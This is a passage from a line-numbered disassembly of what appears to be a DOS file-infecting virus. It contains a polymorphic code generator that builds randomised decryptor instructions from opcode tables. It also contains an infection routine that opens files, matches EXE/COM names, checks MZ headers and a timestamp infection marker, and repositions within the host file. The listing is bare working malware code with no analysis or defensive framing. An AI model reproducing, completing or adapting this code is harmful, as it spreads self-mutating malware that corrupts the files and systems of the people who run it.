  1991. 0C9D                    add     ax,1E7Bh
  1992. 0CA0                    neg     ax
  1993. 0CA2                    stosw                           ; Store ax to es:[di]
  1994. 0CA3                    retn
  1995.         sub_30          endp
  1996.  
  1997.  
  1998.         ;==========================================================================
  1999.         ;                              SUBROUTINE
  2000.         ;
  2001.         ;         Called from:   9804:0A31
  2002.         ;==========================================================================
  2003.  
  2004. 0CA4    sub_31          proc    near
  2005. 0CA4                    push    bx
  2006. 0CA5                    mov     si,0E70h
  2007. 0CA8                    call    sub_21                  ; (093A)
  2008. 0CAB                    jnp     loc_118                 ; Jump if not parity
  2009. 0CAD   ,                mov     di,offset data_83       ; (9804:0E75=0BAh)
  2010. 0CB0                    mov     ax,[di]
  2011. 0CB2                    push    word ptr [di+2]
  2012. 0CB5                    push    si
  2013. 0CB6                    movsw                           ; Mov [si] to es:[di]
  2014. 0CB7                    movsb                           ; Mov [si] to es:[di]
  2015. 0CB8                    pop     si
  2016. 0CB9                    mov     [si],ax
  2017. 0CBB                    pop     ax
  2018. 0CBC                    mov     [si+2],al
  2019. 0CBF    loc_118:                                        ;  xref 9804:0CAB
  2020. 0CBF                    mov     di,1E86h
  2021. 0CC2                    call    sub_21                  ; (093A)
  2022. 0CC5                    cmp     al,55h                  ; 'U'
  2023. 0CC7                    jb      loc_119                 ; Jump if below
  2024. 0CC9                    cmp     al,0AAh
  2025. 0CCB                    jb      loc_120                 ; Jump if below
  2026. 0CCD                    mov     ax,[si+3]
  2027. 0CD0                    stosw                           ; Store ax to es:[di]
  2028. 0CD1                    movsw                           ; Mov [si] to es:[di]
  2029. 0CD2                    movsb                           ; Mov [si] to es:[di]
  2030. 0CD3                    inc     si
  2031. 0CD4                    inc     si
  2032. 0CD5                    movsw                           ; Mov [si] to es:[di]
  2033. 0CD6                    movsb                           ; Mov [si] to es:[di]
  2034. 0CD7                    mov     byte ptr ds:[0F5Bh],3Eh ; (9804:0F5B=0) '>'
  2035. 0CDC                    jmp     short loc_121           ; (0CF7)
  2036. 0CDE    loc_119:                                        ;  xref 9804:0CC7
  2037. 0CDE                    movsw                           ; Mov [si] to es:[di]
  2038. 0CDF                    movsb                           ; Mov [si] to es:[di]
  2039. 0CE0                    mov     ax,[si]
  2040. 0CE2                    inc     si
  2041. 0CE3                    inc     si
  2042. 0CE4                    movsw                           ; Mov [si] to es:[di]
  2043. 0CE5                    movsb                           ; Mov [si] to es:[di]
  2044. 0CE6                    stosw                           ; Store ax to es:[di]
  2045. 0CE7                    mov     byte ptr ds:[0F5Bh],2Fh ; (9804:0F5B=0) '/'
  2046. 0CEC                    jmp     short loc_121           ; (0CF7)
  2047. 0CEE    loc_120:                                        ;  xref 9804:0CCB
  2048. 0CEE                    movsw                           ; Mov [si] to es:[di]
  2049. 0CEF                    movsw                           ; Mov [si] to es:[di]
  2050. 0CF0                    movsw                           ; Mov [si] to es:[di]
  2051. 0CF1                    movsw                           ; Mov [si] to es:[di]
  2052. 0CF2                    mov     byte ptr ds:[0F5Bh],3Bh ; (9804:0F5B=0) ';'
  2053. 0CF7    loc_121:                                        ;  xref 9804:0CDC, 0CEC
  2054. 0CF7                    mov     cx,9
  2055. 0CFA                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  2056. 0CFC                    pop     bx
  2057. 0CFD                    retn
  2058.         sub_31          endp
  2059.  
  2060.  
  2061.         ;==========================================================================
  2062.         ;                              SUBROUTINE
  2063.         ;
  2064.         ;         Called from:   9804:0A51
  2065.         ;==========================================================================
  2066.  
  2067. 0CFE    sub_32          proc    near
  2068. 0CFE                    call    sub_21                  ; (093A)
  2069. 0D01                    cmp     al,80h
  2070. 0D03                    jb      loc_ret_125             ; Jump if below
  2071. 0D05                    test    ah,8
  2072. 0D08                    jnz     loc_123                 ; Jump if not zero
  2073. 0D0A                    mov     al,0FAh
  2074. 0D0C    loc_122:                                        ;  xref 9804:0D28
  2075. 0D0C                    stosb                           ; Store al to es:[di]
  2076. 0D0D                    add     cl,1
  2077. 0D10                    retn
  2078. 0D11    loc_123:                                        ;  xref 9804:0D08
  2079. 0D11                    push    bx
  2080. 0D12   ,                mov     bx,offset data_72       ; (9804:082F='PXS[QYRZW_V^U]')
  2081. 0D15    loc_124:                                        ;  xref 9804:0D17
  2082. 0D15                    add     al,14h
  2083. 0D17                    jnc     loc_124                 ; Jump if carry=0
  2084. 0D19                    cbw                             ; Convrt byte to word
  2085. 0D1A                    and     al,0FEh
  2086. 0D1C                    add     bx,ax
  2087. 0D1E                    mov     ah,[bx]
  2088. 0D20                    pop     bx
  2089. 0D21                    mov     al,9Dh
  2090. 0D23                    cmp     data_48,1               ; (9804:0179=1)
  2091. 0D28                    je      loc_122                 ; Jump if equal
  2092. 0D2A                    stosw                           ; Store ax to es:[di]
  2093. 0D2B                    add     cl,2
  2094.  
  2095. 0D2E    loc_ret_125:                                    ;  xref 9804:0D03
  2096. 0D2E                    retn
  2097.         sub_32          endp
  2098.  
  2099. 0D2F    loc_126:                                        ;  xref 9804:0D3A
  2100. 0D2F                    xor     data_59,8               ; (9804:018C=4)
  2101. 0D34                    retn
  2102.  
  2103.         ;==========================================================================
  2104.         ;                              SUBROUTINE
  2105.         ;
  2106.         ;         Called from:   9804:0AA5
  2107.         ;==========================================================================
  2108.  
  2109. 0D35    sub_33          proc    near
  2110. 0D35                    test    data_59,8               ; (9804:018C=4)
  2111. 0D3A                    jnz     loc_126                 ; Jump if not zero
  2112. 0D3C                    push    bx
  2113. 0D3D    loc_127:                                        ;  xref 9804:0D54, 0D5B, 0D6B, 0D72
  2114. 0D3D                    call    sub_21                  ; (093A)
  2115. 0D40                    test    ah,1
  2116. 0D43                    jz      loc_129                 ; Jump if zero
  2117. 0D45                    and     ax,7
  2118. 0D48                    mov     bx,ax
  2119. 0D4A                    cmp     bl,4
  2120. 0D4D                    jne     loc_128                 ; Jump if not equal
  2121. 0D4F                    cmp     byte ptr data_81,0B0h   ; (9804:0E73=0B1h)
  2122. 0D54                    je      loc_127                 ; Jump if equal
  2123. 0D56                    cmp     byte ptr data_96,0      ; (9804:0F5F=3)
  2124. 0D5B                    je      loc_127                 ; Jump if equal
  2125. 0D5D    loc_128:                                        ;  xref 9804:0D4D
  2126. 0D5D                    mov     al,data_100[bx]         ; (9804:0F6A=64h)
  2127. 0D61                    stosb                           ; Store al to es:[di]
  2128. 0D62                    inc     cl
  2129. 0D64                    pop     bx
  2130. 0D65                    retn
  2131. 0D66    loc_129:                                        ;  xref 9804:0D43
  2132. 0D66                    cmp     byte ptr data_96,0      ; (9804:0F5F=3)
  2133. 0D6B                    je      loc_127                 ; Jump if equal
  2134. 0D6D                    cmp     byte ptr data_95,0      ; (9804:0F5E=6)
  2135. 0D72                    je      loc_127                 ; Jump if equal
  2136. 0D74    loc_130:                                        ;  xref 9804:0D7C
  2137. 0D74                    call    sub_21                  ; (093A)
  2138. 0D77                    and     ax,7
  2139. 0D7A                    cmp     al,5
  2140. 0D7C                    ja      loc_130                 ; Jump if above
  2141. 0D7E                    shl     al,1                    ; Shift w/zeros fill
  2142. 0D80                    mov     bx,ax
  2143. 0D82                    mov     ax,data_101[bx]         ; (9804:0F72=0F0C0h)
  2144. 0D86                    stosw                           ; Store ax to es:[di]
  2145. 0D87                    cmp     bl,6
  2146. 0D8A                    ja      loc_131                 ; Jump if above
  2147. 0D8C                    call    sub_21                  ; (093A)
  2148. 0D8F                    and     al,0Fh
  2149. 0D91                    stosb                           ; Store al to es:[di]
  2150. 0D92                    add     cl,1
  2151. 0D95                    cmp     bl,6
  2152. 0D98                    jne     loc_131                 ; Jump if not equal
  2153. 0D9A                    mov     al,ah
  2154. 0D9C                    stosb                           ; Store al to es:[di]
  2155. 0D9D                    add     cl,1
  2156. 0DA0    loc_131:                                        ;  xref 9804:0D8A, 0D98
  2157. 0DA0                    add     cl,2
  2158. 0DA3                    pop     bx
  2159. 0DA4                    retn
  2160.         sub_33          endp
  2161.  
  2162.  
  2163.         ;==========================================================================
  2164.         ;                              SUBROUTINE
  2165.         ;
  2166.         ;         Called from:   9804:0A59
  2167.         ;==========================================================================
  2168.  
  2169. 0DA5    sub_34          proc    near
  2170. 0DA5                    call    sub_21                  ; (093A)
  2171. 0DA8                    cmp     ax,5555h
  2172. 0DAB                    jb      loc_ret_134             ; Jump if below
  2173. 0DAD                    or      data_59,8               ; (9804:018C=4)
  2174. 0DB2                    call    sub_37                  ; (0E3D)
  2175. 0DB5                    call    sub_21                  ; (093A)
  2176. 0DB8                    xchg    bx,ax
  2177. 0DB9                    and     bx,2
  2178. 0DBC                    mov     ax,data_98[bx]          ; (9804:0F61=0EC8Bh)
  2179. 0DC0                    stosw                           ; Store ax to es:[di]
  2180. 0DC1                    mov     dx,data_78              ; (9804:0E6E=9)
  2181. 0DC5                    add     dx,1E6Ah
  2182. 0DC9                    add     dx,cx
  2183. 0DCB                    add     cl,2
  2184. 0DCE                    test    al,8
  2185. 0DD0                    jnz     loc_132                 ; Jump if not zero
  2186. 0DD2                    mov     al,81h
  2187. 0DD4                    stosb                           ; Store al to es:[di]
  2188. 0DD5                    add     cl,7
  2189. 0DD8                    call    sub_35                  ; (0DFC)
  2190. 0DDB                    mov     al,0FAh
  2191. 0DDD                    stosb                           ; Store al to es:[di]
  2192. 0DDE                    xchg    dx,ax
  2193. 0DDF                    stosw                           ; Store ax to es:[di]
  2194. 0DE0                    retn
  2195. 0DE1    loc_132:                                        ;  xref 9804:0DD0
  2196. 0DE1                    mov     al,80h
  2197. 0DE3                    stosb                           ; Store al to es:[di]
  2198. 0DE4                    add     cl,6
  2199. 0DE7                    call    sub_35                  ; (0DFC)
  2200. 0DEA                    cmp     ah,80h
  2201. 0DED                    ja      loc_133                 ; Jump if above
  2202. 0DEF                    mov     al,0FBh
  2203. 0DF1                    stosb                           ; Store al to es:[di]
  2204. 0DF2                    mov     al,dh
  2205. 0DF4                    stosb                           ; Store al to es:[di]
  2206. 0DF5                    retn
  2207. 0DF6    loc_133:                                        ;  xref 9804:0DED
  2208. 0DF6                    mov     al,0FAh
  2209. 0DF8                    stosb                           ; Store al to es:[di]
  2210. 0DF9                    xchg    dx,ax
  2211. 0DFA                    stosb                           ; Store al to es:[di]
  2212.  
  2213. 0DFB    loc_ret_134:                                    ;  xref 9804:0DAB
  2214. 0DFB                    retn
  2215.         sub_34          endp
  2216.  
  2217.  
  2218.         ;==========================================================================
  2219.         ;                              SUBROUTINE
  2220.         ;
  2221.         ;         Called from:   9804:0DD8, 0DE7
  2222.         ;==========================================================================
  2223.  
  2224. 0DFC    sub_35          proc    near
  2225. 0DFC    loc_135:                                        ;  xref 9804:0E07
  2226. 0DFC                    call    sub_21                  ; (093A)
  2227. 0DFF                    mov     bl,al
  2228. 0E01                    and     bx,7
  2229. 0E04                    cmp     bl,4
  2230. 0E07                    ja      loc_135                 ; Jump if above
  2231. 0E09                    mov     al,data_99[bx]          ; (9804:0F65=7Eh)
  2232. 0E0D                    stosb                           ; Store al to es:[di]
  2233. 0E0E                    cmp     bl,3
  2234. 0E11                    je      loc_137                 ; Jump if equal
  2235. 0E13                    cmp     bl,4
  2236. 0E16                    jne     loc_ret_138             ; Jump if not equal
  2237. 0E18                    test    byte ptr [di-2],1
  2238. 0E1C                    jnz     loc_136                 ; Jump if not zero
  2239. 0E1E                    neg     dh
  2240. 0E20                    neg     dl
  2241. 0E22                    retn
  2242. 0E23    loc_136:                                        ;  xref 9804:0E1C
  2243. 0E23                    neg     dx
  2244. 0E25                    retn
  2245. 0E26    loc_137:                                        ;  xref 9804:0E11
  2246. 0E26                    not     dx
  2247.  
  2248. 0E28    loc_ret_138:                                    ;  xref 9804:0E16
  2249. 0E28                    retn
  2250.         sub_35          endp
  2251.  
  2252.  
  2253.         ;==========================================================================
  2254.         ;                              SUBROUTINE
  2255.         ;
  2256.         ;         Called from:   9804:0A5C
  2257.         ;==========================================================================
  2258.  
  2259. 0E29    sub_36          proc    near
  2260. 0E29                    test    data_59,8               ; (9804:018C=4)
  2261. 0E2E                    jz      loc_ret_139             ; Jump if zero
  2262. 0E30                    call    sub_21                  ; (093A)
  2263. 0E33                    and     ah,7Fh
  2264. 0E36                    add     ah,0Ah
  2265. 0E39                    mov     al,75h                  ; 'u'
  2266. 0E3B                    stosw                           ; Store ax to es:[di]
  2267.  
  2268. 0E3C    loc_ret_139:                                    ;  xref 9804:0E2E
  2269. 0E3C                    retn
  2270.         sub_36          endp
  2271.  
  2272.  
  2273.         ;==========================================================================
  2274.         ;                              SUBROUTINE
  2275.         ;
  2276.         ;         Called from:   9804:0DB2
  2277.         ;==========================================================================
  2278.  
  2279. 0E3D    sub_37          proc    near
  2280. 0E3D                    add     cl,2
  2281. 0E40                    mov     bl,2Ah                  ; '*'
  2282. 0E42                    call    sub_21                  ; (093A)
  2283. 0E45    loc_140:                                        ;  xref 9804:0E47
  2284. 0E45                    add     al,bl
  2285. 0E47                    jnc     loc_140                 ; Jump if carry=0
  2286. 0E49                    and     ax,0FEh
  2287. 0E4C                    xchg    bx,ax
  2288. 0E4D                    mov     ax,data_71[bx]          ; (9804:0803=2BCDh)
  2289. 0E51                    stosw                           ; Store ax to es:[di]
  2290. 0E52                    retn
  2291.         sub_37          endp
  2292.  
  2293.  
  2294.         ;==========================================================================
  2295.         ;                              SUBROUTINE
  2296.         ;
  2297.         ;         Called from:   9804:0A06
  2298.         ;==========================================================================
  2299.  
  2300. 0E53    sub_38          proc    near
  2301. 0E53                    push    ax
  2302. 0E54                    cmp     word ptr ds:[0E6Ch],0   ; (9804:0E6C=0E6Ah)
  2303. 0E59                    mov     cx,200h
  2304. 0E5C                    jnz     loc_141                 ; Jump if not zero
  2305. 0E5E                    mov     cx,dx
  2306. 0E60    loc_141:                                        ;  xref 9804:0E5C
  2307. 0E60                    mov     dx,1E86h
  2308. 0E63                    mov     di,dx
  2309. 0E65                    mov     ah,40h                  ; '@'
  2310. 0E67                    call    sub_5                   ; (02C5)
  2311. 0E6A                    pop     ax
  2312. 0E6B                    retn
  2313.         sub_38          endp
  2314.  
  2315. 0E6C                    db       6Ah, 0Eh
  2316. 0E6E    data_78         dw      9                       ;  xref 9804:05B6, 062D, 0630, 09A6
  2317.                                                         ;            0DC1
  2318. 0E70    data_79         db      0BFh                    ;  xref 9804:0F0F
  2319. 0E71    data_80         dw      0                       ;  xref 9804:0F56
  2320. 0E73    data_81         db      0B1h                    ;  xref 9804:0D4F, 0ED8
  2321. 0E74    data_82         db      2Dh                     ;  xref 9804:09CE
  2322. 0E75    data_83         db      0BAh                    ;  xref 9804:0CAD, 0E89
  2323. 0E76    data_84         dw      9                       ;  xref 9804:09A9
  2324. 0E78    data_85         db      57h                     ;  xref 9804:0E91
  2325. 0E79    loc_142:                                        ;  xref 9804:0E7E
  2326. 0E79                    add     cs:[di],cl
  2327. 0E7C                    inc     di
  2328. 0E7D                    dec     dx
  2329. 0E7E                    jbe     loc_142                 ; Jump if below or =
  2330. 0E80                    retn
  2331.  
  2332.         ;==========================================================================
  2333.         ;                              SUBROUTINE
  2334.         ;
  2335.         ;         Called from:   9804:0A2E
  2336.         ;==========================================================================
  2337.  
  2338. 0E81    sub_39          proc    near
  2339. 0E81                    push    bx
  2340. 0E82                    call    sub_19                  ; (08B6)
  2341. 0E85                    mov     ah,data_102[bx]         ; (9804:0F7E=0BBh)
  2342. 0E89                    mov     data_83,ah              ; (9804:0E75=0BAh)
  2343. 0E8D                    mov     ah,data_103[bx]         ; (9804:0F81=53h)
  2344. 0E91                    mov     data_85,ah              ; (9804:0E78=57h)
  2345. 0E95                    call    sub_21                  ; (093A)
  2346. 0E98                    mov     byte ptr ds:[0F5Ch],ah  ; (9804:0F5C=0FFh)
  2347. 0E9C                    cmp     ah,80h
  2348. 0E9F                    ja      loc_143                 ; Jump if above
  2349. 0EA1                    mov     ah,data_105[bx]         ; (9804:0F87=4Bh)
  2350. 0EA5                    jmp     short loc_144           ; (0EAB)
  2351. 0EA7    loc_143:                                        ;  xref 9804:0E9F
  2352. 0EA7                    mov     ah,data_104[bx]         ; (9804:0F84=43h)
  2353. 0EAB    loc_144:                                        ;  xref 9804:0EA5
  2354. 0EAB                    mov     byte ptr ds:[0E7Ch],ah  ; (9804:0E7C=47h)
  2355. 0EAF                    mov     dl,bl
  2356. 0EB1                    add     bl,3
  2357. 0EB4                    cmp     bl,3
  2358. 0EB7                    jne     loc_145                 ; Jump if not equal
  2359. 0EB9                    sub     bl,2
  2360. 0EBC    loc_145:                                        ;  xref 9804:0EB7
  2361. 0EBC                    mov     byte ptr ds:[0F5Dh],bl  ; (9804:0F5D=64h)
  2362. 0EC0    loc_146:                                        ;  xref 9804:0ECF
  2363. 0EC0                    call    sub_21                  ; (093A)
  2364. 0EC3                    not     ax
  2365. 0EC5                    and     al,7
  2366. 0EC7                    mov     bl,al
  2367. 0EC9                    shr     al,1                    ; Shift w/zeros fill
  2368. 0ECB                    cmp     byte ptr ds:[0F5Dh],al  ; (9804:0F5D=64h)
  2369. 0ECF                    je      loc_146                 ; Jump if equal
  2370. 0ED1                    mov     data_95,al              ; (9804:0F5E=6)
  2371. 0ED4                    mov     ah,data_110[bx]         ; (9804:0FA6=0B0h)
  2372. 0ED8                    mov     data_81,ah              ; (9804:0E73=0B1h)
  2373. 0EDC                    shl     dl,1                    ; Shift w/zeros fill
  2374. 0EDE                    shl     dl,1                    ; Shift w/zeros fill
  2375. 0EE0                    shl     dl,1                    ; Shift w/zeros fill
  2376. 0EE2                    add     bl,dl
  2377. 0EE4                    mov     ah,data_111[bx]         ; (9804:0FAE=7)
  2378. 0EE8                    mov     byte ptr ds:[0E7Bh],ah  ; (9804:0E7B=0Dh)
  2379. 0EEC    loc_147:                                        ;  xref 9804:0EF9, 0EFF, 0F05
  2380. 0EEC                    call    sub_21                  ; (093A)
  2381. 0EEF                    not     ax
  2382. 0EF1                    mov     bl,al
  2383. 0EF3                    and     bl,7
  2384. 0EF6                    cmp     bl,6
  2385. 0EF9                    ja      loc_147                 ; Jump if above
  2386. 0EFB                    cmp     byte ptr ds:[0F5Dh],bl  ; (9804:0F5D=64h)
  2387. 0EFF                    je      loc_147                 ; Jump if equal
  2388. 0F01                    cmp     data_95,bl              ; (9804:0F5E=6)
  2389. 0F05                    je      loc_147                 ; Jump if equal
  2390. 0F07                    mov     data_96,bl              ; (9804:0F5F=3)
  2391. 0F0B                    mov     ah,data_106[bx]         ; (9804:0F8A=0B8h)
  2392. 0F0F                    mov     data_79,ah              ; (9804:0E70=0BFh)
  2393. 0F13                    mov     ah,data_107[bx]         ; (9804:0F91=48h)
  2394. 0F17                    mov     byte ptr ds:[0E7Dh],ah  ; (9804:0E7D=4Ah)
  2395. 0F1B                    call    sub_21                  ; (093A)
  2396. 0F1E                    and     al,7
  2397. 0F20                    cbw                             ; Convrt byte to word
  2398. 0F21                    mov     bx,ax
  2399. 0F23                    mov     ah,data_112[bx]         ; (9804:0FC6=75h)
  2400. 0F27                    mov     byte ptr ds:[0E7Eh],ah  ; (9804:0E7E=76h)
  2401. 0F2B                    mov     data_97,bl              ; (9804:0F60=7)
  2402. 0F2F                    call    sub_21                  ; (093A)
  2403. 0F32                    not     ax
  2404. 0F34                    xor     bx,bx                   ; Zero register
  2405. 0F36                    mov     bl,al
  2406. 0F38                    and     bl,3
  2407. 0F3B                    mov     al,data_48              ; (9804:0179=1)
  2408. 0F3E                    or      al,al                   ; Zero ?
  2409. 0F40                    jz      loc_148                 ; Jump if zero
  2410. 0F42                    mov     bl,al
  2411. 0F44    loc_148:                                        ;  xref 9804:0F40
  2412. 0F44                    mov     ah,data_113[bx]         ; (9804:0FCE=3Eh)
  2413. 0F48                    mov     byte ptr ds:[0E79h],ah  ; (9804:0E79=2Eh)
  2414. 0F4C                    mov     al,byte ptr ds:[0F5Ch]  ; (9804:0F5C=0FFh)
  2415. 0F4F                    and     al,7
  2416. 0F51                    cbw                             ; Convrt byte to word
  2417. 0F52                    inc     ax
  2418. 0F53                    add     ax,1E6Ah
  2419. 0F56                    mov     data_80,ax              ; (9804:0E71=0)
  2420. 0F59                    pop     bx
  2421. 0F5A                    retn
  2422.         sub_39          endp
  2423.  
  2424. 0F5B                    add     bh,bh
  2425. 0F5D                    db      64h
  2426. 0F5E    data_95         db      6                       ;  xref 9804:0D6D, 0ED1, 0F01, 149F
  2427.                                                         ;            161C
  2428. 0F5F    data_96         db      3                       ;  xref 9804:0B2C, 0D56, 0D66, 0F07
  2429. 0F60    data_97         db      7                       ;  xref 9804:0B1F, 0B32, 0B39, 0BE7
  2430.                                                         ;            0F2B
  2431. 0F61    data_98         dw      0EC8Bh                  ; Data table (indexed access)
  2432.                                                         ;  xref 9804:0DBC
  2433. 0F63                    db       54h, 5Dh
  2434. 0F65    data_99         db      7Eh                     ; Data table (indexed access)
  2435.                                                         ;  xref 9804:0E09
  2436. 0F66                    db       76h, 6Eh, 66h, 46h
  2437. 0F6A    data_100        db      64h                     ; Data table (indexed access)
  2438.                                                         ;  xref 9804:0D5D
  2439. 0F6B                    db       65h, 67h, 9Bh,0D6h, 9Bh, 64h
  2440. 0F71                    db       65h
  2441. 0F72    data_101        dw      0F0C0h                  ; Data table (indexed access)
  2442.                                                         ;  xref 9804:0D82
  2443. 0F74                    db      0C1h,0F0h,0F6h,0C8h,0F7h,0C8h
  2444. 0F7A                    db      0D0h,0F0h,0D1h,0F0h
  2445. 0F7E    data_102        db      0BBh                    ; Data table (indexed access)
  2446.                                                         ;  xref 9804:0E85, 146D
  2447. 0F7F                    db      0BFh,0BEh
  2448. 0F81    data_103        db      53h                     ; Data table (indexed access)
  2449.                                                         ;  xref 9804:0E8D
  2450. 0F82                    db       57h, 56h
  2451. 0F84    data_104        db      43h                     ; Data table (indexed access)
  2452.                                                         ;  xref 9804:0EA7, 1475
  2453. 0F85                    db       47h, 46h
  2454. 0F87    data_105        db      4Bh                     ; Data table (indexed access)
  2455.                                                         ;  xref 9804:0EA1
  2456. 0F88                    db       4Fh, 4Eh
  2457. 0F8A    data_106        db      0B8h                    ; Data table (indexed access)
  2458.                                                         ;  xref 9804:0F0B
  2459. 0F8B                    db      0BBh,0B9h,0BAh,0BFh,0BEh,0BDh
  2460. 0F91    data_107        db      48h                     ; Data table (indexed access)
  2461.                                                         ;  xref 9804:0F13
  2462. 0F92                    db       4Bh, 49h, 4Ah, 4Fh, 4Eh, 4Dh
  2463. 0F98    data_108        db      0E8h                    ; Data table (indexed access)
  2464.                                                         ;  xref 9804:0B46, 0B91, 0BAD, 0C06
  2465. 0F99                    db      0EBh,0E9h,0EAh,0EFh,0EEh,0EDh
  2466. 0F9F    data_109        db      0C0h                    ; Data table (indexed access)
  2467.                                                         ;  xref 9804:0B4E, 0B99, 0BA5, 0C12
  2468. 0FA0                    db      0C3h,0C1h,0C2h,0C7h,0C6h,0C5h
  2469. 0FA6    data_110        db      0B0h                    ; Data table (indexed access)
  2470.                                                         ;  xref 9804:0ED4, 1113, 14A3
  2471. 0FA7                    db      0B4h,0B3h,0B7h,0B1h,0B5h,0B2h
  2472. 0FAD                    db      0B6h
  2473. 0FAE    data_111        db      7                       ; Data table (indexed access)
  2474.                                                         ;  xref 9804:0EE4, 10FC, 14BB
  2475. 0FAF                    db       27h, 00h, 00h, 0Fh, 2Fh, 17h
  2476. 0FB5                    db       37h, 05h, 25h, 1Dh, 3Dh, 0Dh
  2477. 0FBB                    db       2Dh, 15h, 35h, 04h, 24h, 1Ch
  2478. 0FC1                    db       3Ch, 0Ch, 2Ch, 14h
  2479. 0FC5                    db      34h
  2480. 0FC6    data_112        db      75h                     ; Data table (indexed access)
  2481.                                                         ;  xref 9804:0F23
  2482. 0FC7                    db       79h, 7Fh, 7Dh, 77h, 73h, 72h
  2483. 0FCD                    db       76h
  2484. 0FCE    data_113        db      3Eh                     ; Data table (indexed access)
  2485.                                                         ;  xref 9804:0F44, 15C5
  2486. 0FCF                    db       2Eh, 26h, 36h
  2487. 0FD2    data_114        db      30h                     ; Data table (indexed access)
  2488.                                                         ;  xref 9804:09AF, 09BE, 10E3, 14D6
  2489.                                                         ;            14E2
  2490. 0FD3                    db       00h, 28h, 30h
  2491. 0FD6    data_115        db      0C0h                    ; Data table (indexed access)
  2492.                                                         ;  xref 9804:14AB, 1626
  2493. 0FD7                    db      0C4h,0C3h,0C7h,0C1h,0C5h,0C2h
  2494. 0FDD                    db      0C6h
  2495. 0FDE    data_116        db      0E8h                    ; Data table (indexed access)
  2496.                                                         ;  xref 9804:1631
  2497. 0FDF                    db      0ECh,0EBh,0EFh,0E9h,0EDh,0EAh
  2498. 0FE5                    db      0EEh
  2499. 0FE6    data_117        db      75h                     ; Data table (indexed access)
  2500.                                                         ;  xref 9804:14CB
  2501. 0FE7                    db       78h, 7Ch, 7Eh
  2502. 0FEA    data_118        dw      1F16h                   ; Data table (indexed access)
  2503.                                                         ;  xref 9804:15E8
  2504. 0FEC                    db       50h, 1Fh, 8Eh,0D8h, 16h, 07h
  2505. 0FF2                    db       50h, 07h, 8Eh,0C0h
  2506. 0FF6    data_119        db      0C0h                    ; Data table (indexed access)
  2507.                                                         ;  xref 9804:151E
  2508. 0FF7                    db      0C9h,0D2h,0DBh
  2509. 0FFA    data_120        dw      178h                    ;  xref 9804:11D3, 1213
  2510. 0FFC    data_121        dw      0A17h                   ;  xref 9804:11DB
  2511. 0FFE    data_122        dw      604h                    ;  xref 9804:11E3
  2512. 1000    data_123        dw      315h                    ;  xref 9804:11EB
  2513. 1002                    db      0B0h, 03h,0CFh
  2514.  
  2515.         ;==========================================================================
  2516.         ;                              SUBROUTINE
  2517.         ;
  2518.         ;         Called from:   9804:03C6
  2519.         ;==========================================================================
  2520.  
  2521. 1005    sub_40          proc    near
  2522. 1005                    push    ax
  2523. 1006                    push    bx
  2524. 1007                    push    cx
  2525. 1008                    push    dx
  2526. 1009                    push    es
  2527. 100A                    push    ds
  2528. 100B                    push    di
  2529. 100C                    push    si
  2530. 100D                    call    sub_42                  ; (11CA)
  2531. 1010                    call    sub_12                  ; (068B)
  2532. 1013                    mov     ax,3D02h
  2533. 1016                    call    sub_5                   ; (02C5)
  2534. 1019                    jc      loc_153                 ; Jump if carry Set
  2535. 101B                    push    ax
  2536. 101C                    call    sub_15                  ; (06FE)
  2537. 101F                    add     bx,4
  2538. 1022                    mov     cx,bx
  2539. 1024                    pop     bx
  2540. 1025                    cmp     cx,0Eh
  2541. 1028                    je      loc_152                 ; Jump if equal
  2542. 102A                    push    cs
  2543. 102B                    pop     ds
  2544. 102C                    cld                             ; Clear direction
  2545. 102D   ,                mov     di,offset 73Bh          ; (9804:073B='LP.EXE9E.EXE')
  2546. 1030   ,                mov     si,offset data_67       ; (9804:0748='LP.EXED.COME')
  2547. 1033                    repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  2548. 1035                    jcxz    loc_149                 ; Jump if cx=0
  2549. 1037                    jmp     short loc_152           ; (1067)
  2550. 1039    loc_149:                                        ;  xref 9804:1035
  2551. 1039                    mov     cx,1Ch
  2552. 103C                    mov     dx,1E6Ah
  2553. 103F                    mov     ah,3Fh                  ; '?'
  2554. 1041                    call    sub_5                   ; (02C5)
  2555. 1044                    jc      loc_152                 ; Jump if carry Set
  2556. 1046                    call    sub_10                  ; (0669)
  2557. 1049                    mov     ax,data_51              ; (9804:017E=61F7h)
  2558. 104C                    and     al,1Fh
  2559. 104E                    cmp     al,11h
  2560. 1050                    jne     loc_151                 ; Jump if not equal
  2561. 1052                    mov     ax,data_157             ; (9804:1E6A=0BC98h)
  2562. 1055                    cmp     ax,5A4Dh
  2563. 1058                    je      loc_150                 ; Jump if equal
  2564. 105A                    cmp     ax,4D5Ah
  2565. 105D                    jne     loc_151                 ; Jump if not equal
  2566. 105F    loc_150:                                        ;  xref 9804:1058
  2567. 105F                    call    sub_41                  ; (107B)
  2568. 1062                    jc      loc_152                 ; Jump if carry Set
  2569. 1064    loc_151:                                        ;  xref 9804:1050, 105D
  2570. 1064                    call    sub_11                  ; (067A)
  2571. 1067    loc_152:                                        ;  xref 9804:1028, 1037, 1044, 1062
  2572. 1067                    mov     ah,3Eh                  ; '>'
  2573. 1069                    call    sub_5                   ; (02C5)
  2574. 106C    loc_153:                                        ;  xref 9804:1019
  2575. 106C                    call    sub_13                  ; (069F)
  2576. 106F                    call    sub_43                  ; (1209)
  2577. 1072                    pop     si
  2578. 1073                    pop     di
  2579. 1074                    pop     ds
  2580. 1075                    pop     es
  2581. 1076                    pop     dx
  2582. 1077                    pop     cx
  2583. 1078                    pop     bx
  2584. 1079                    pop     ax
  2585. 107A                    retn
  2586.         sub_40          endp
  2587.  
  2588.  
  2589.         ;==========================================================================
  2590.         ;                              SUBROUTINE
  2591.         ;
  2592.         ;         Called from:   9804:0494, 105F
  2593.         ;==========================================================================
  2594.  
  2595. 107B    sub_41          proc    near
  2596. 107B                    mov     ax,ds:data_168e         ; (9804:1E80=0)
  2597. 107E                    mov     dx,10h
  2598. 1081                    mul     dx                      ; dx:ax = reg * ax
  2599. 1083                    add     ax,ds:data_166e         ; (9804:1E7E=0)
  2600. 1087                    adc     dx,0
  2601. 108A                    mov     cx,data_162             ; (9804:1E72=0EB2Dh)
  2602. 108E                    shl     cx,1                    ; Shift w/zeros fill
  2603. 1090                    shl     cx,1                    ; Shift w/zeros fill
  2604. 1092                    shl     cx,1                    ; Shift w/zeros fill
  2605. 1094                    shl     cx,1                    ; Shift w/zeros fill
  2606. 1096                    add     ax,cx
  2607. 1098                    adc     dx,0
  2608. 109B                    mov     cx,dx
  2609. 109D                    mov     dx,ax
  2610. 109F                    mov     ax,4200h
  2611. 10A2                    call    sub_5                   ; (02C5)
  2612. 10A5                    jnc     loc_154                 ; Jump if carry=0
